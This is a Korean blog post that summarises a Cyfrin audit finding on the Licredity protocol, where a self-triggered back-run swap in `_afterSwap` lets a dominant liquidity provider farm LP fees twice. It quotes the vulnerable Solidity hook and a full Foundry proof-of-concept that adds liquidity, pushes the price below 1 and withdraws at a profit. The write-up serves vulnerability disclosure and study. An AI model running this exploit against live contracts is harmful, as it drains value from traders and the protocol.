Tyojong

[Solodit] Self-triggered `Licredity::_afterSwap` back-run enables LP fee farming 본문

web3/Solodit Report

[Solodit] Self-triggered `Licredity::_afterSwap` back-run enables LP fee farming

Tyojong 2025. 9. 23. 11:58

개요


심각도 : High

언어 : Solidity

프로토콜 : Licredity

취약점 유형 : Logic Bug

이 리포트는 Licredity 프로토콜에서 Cyfrin이 발견한 자체 트리거(back-run)되는 _afterSwap 후킹 로직으로 인해 LP(유동성 공급자) 수수료 채굴(fee farming)이 가능한 취약점에 대해 설명한다.

 

 

코드


핵심 트리거 코드 (Licredity::_afterSwap)

if (sqrtPriceX96 <= ONE_SQRT_PRICE_X96) {
    // back run swap to revert the effect of the current swap, using exactOut to account for fees
    IPoolManager.SwapParams memory params = IPoolManager.SwapParams(
        false, // zeroForOne: debt -> base (반대)
        -balanceDelta.amount0(),
        MAX_SQRT_PRICE_X96
    );
    balanceDelta = poolManager.swap(poolKey, params, "");
}

가격이 1이하로 내려가면(일반적으로 sqrtPriceX96 <= 1) 자동으로 반대 방향의 swap(back-run)을 수행해서 가격을 1 이상으로 다시 올린다. 이 back-run swap 과정에서 LP들이 두 번의 swap 수수료를 가져간다.

 

공격 PoC 코드

1. 공격자가 가격 1 주변에 유동성 집중 공급(아래 구간 -2~0에 매우 많은 양, 위 구간 0~2에 조금만)
2. swap으로 가격을 아주 약간 1 아래로 만든 후 수수료 획득

3. 후크가 즉시 반대 방향 swap(백런) 실행 → 또 수수료 획득

4. 마지막에 exchangeFungible 로 원금 실질적 회수

function test_abuse_backswap_fees() public {
    address attacker = makeAddr("attacker");
​
    // fund attacker with ETH and mint some debt for LP positions
    vm.deal(attacker, 1000 ether);
    getDebtERC20(attacker, 50 ether);
​
    vm.startPrank(attacker);
    IERC20(address(licredity)).approve(address(uniswapV4Router), type(uint256).max);
​
    // 1) Attacker adds dominant narrow liquidity around parity on BOTH sides:
    //    below 1  -> captures fees while price dips (push leg + back-run leg)
    //    above 1  -> recoups the tiny portion of fees paid just above 1 when crossing
    int256 L_below = 40_000 ether;
    int256 L_above = 10_000 ether;
​
    // Record attacker balances before attack
    uint256 baseBefore = attacker.balance;
    uint256 debtBefore = IERC20(address(licredity)).balanceOf(attacker);
​
    // below 1: [-2, 0]
    uniswapV4RouterHelper.addLiquidity(
        attacker,
        poolKey,
        IPoolManager.ModifyLiquidityParams({
            tickLower: -2,
            tickUpper:  0,
            liquidityDelta: L_below,
            salt: ""
        })
    );
​
    // above 1: [0, +2]
    payable(address(uniswapV4Router)).transfer(1 ether);
    uniswapV4RouterHelper.addLiquidity(
        attacker,
        poolKey,
        IPoolManager.ModifyLiquidityParams({
            tickLower: 0,
            tickUpper: 2,
            liquidityDelta: L_above,
            salt: ""
        })
    );
    vm.stopPrank();
​
    // 2) Ensure starting price is a hair > 1 so we cross down through 1 on the push.
    //    Do a tiny oneForZero (debt -> base) to nudge price up.
    uniswapV4RouterHelper.oneForZeroSwap(
        attacker,
        poolKey,
        IPoolManager.SwapParams({
            zeroForOne: false,                        // debt -> base
            amountSpecified: int256(0.001 ether),     // exact-in (tiny)
            sqrtPriceLimitX96: TickMath.getSqrtPriceAtTick(3)
        })
    );
    {
        (uint160 sqrtP0,,,) = poolManager.getSlot0(poolKey.toId());
        assertGt(sqrtP0, ONE_SQRT_PRICE_X96, "price should start slightly > 1");
    }
​
    vm.startPrank(attacker);
    // 3) The attacker does the push: base -> debt (zeroForOne), exact-out debt,
    //    with a limit just below 1 so we do cross into price<=1 and trigger the hook’s back-run.
    int256 debtOut = 2 ether;
    for(uint256 i = 0 ; i < 1 ; i++) {
        payable(address(uniswapV4Router)).transfer(uint256(debtOut));
        uniswapV4RouterHelper.zeroForOneSwap(
            attacker,
            poolKey,
            IPoolManager.SwapParams({
                zeroForOne: true,                              // base -> debt
                amountSpecified: -debtOut,                     // exact-out debt
                sqrtPriceLimitX96: TickMath.getSqrtPriceAtTick(-3)
            })
        );
    }
    // hook's back-run (debt -> base, exact-out base) runs inside afterSwap
​
    // Price should be restored to >= 1 by the hook’s back-run
    {
        (uint160 sqrtP1,,,) = poolManager.getSlot0(poolKey.toId());
        assertGe(sqrtP1, ONE_SQRT_PRICE_X96, "post back-run price must be >= 1");
    }
​
    // 4) Pull the fees: remove BOTH attacker positions to collect base + debt fees.
    uniswapV4RouterHelper.removeLiquidity(
        attacker,
        poolKey,
        IPoolManager.ModifyLiquidityParams({
            tickLower: -2,
            tickUpper:  0,
            liquidityDelta: -L_below,
            salt: ""
        })
    );
    uniswapV4RouterHelper.removeLiquidity(
        attacker,
        poolKey,
        IPoolManager.ModifyLiquidityParams({
            tickLower: 0,
            tickUpper: 2,
            liquidityDelta: -L_above,
            salt: ""
        })
    );
    vm.stopPrank();
​
    // Attacker balances AFTER
    uint256 baseAfter = attacker.balance;
    uint256 debtAfter = IERC20(address(licredity)).balanceOf(attacker);
​
    // 5) Value both legs ~at parity (1 debt ~= 1 base). Because the price is ~1,
    //    this notional comparison is a good proxy for profit from the fee mining.
    uint256 notionalBefore = baseBefore + debtBefore;
    uint256 notionalAfter  = baseAfter  + debtAfter;
​
    // Expect positive drift from:
    //  - near-100% recoup of taker fees (attacker dominates both sides around 1)
    //  - plus back-run fees (paid in debt) captured below 1
    assertGt(notionalAfter, notionalBefore, "drain should be profitable when attacker dominates both sides");
    console.log("Profit from fee mining drain: %s", notionalAfter - notionalBefore);
}

공격자는 swap → 자동 back-run(two swaps) 호출로 두 번 LP 수수료를 수취하고 본인 유동성이 대부분이므로 거의 전부의 수수료를 본인이 가져가게 된다. 계정간 반복(loop)하며, 트레이더/시스템 자원이 공격자에게 지속적으로 유출된다.

 

레퍼런스


 

 

Smart Contract Vulnerability Dataset - Cyfrin Solodit

self-triggered-licredity_afterswap-back-run-enables-lp-fee-farming-cyfrin-none-licredity-markdown

solodit.cyfrin.io

 

 

solodit_content/reports/Cyfrin/2025-09-01-cyfrin-licredity-v2.0.md at main · solodit/solodit_content

Contribute to solodit/solodit_content development by creating an account on GitHub.

github.com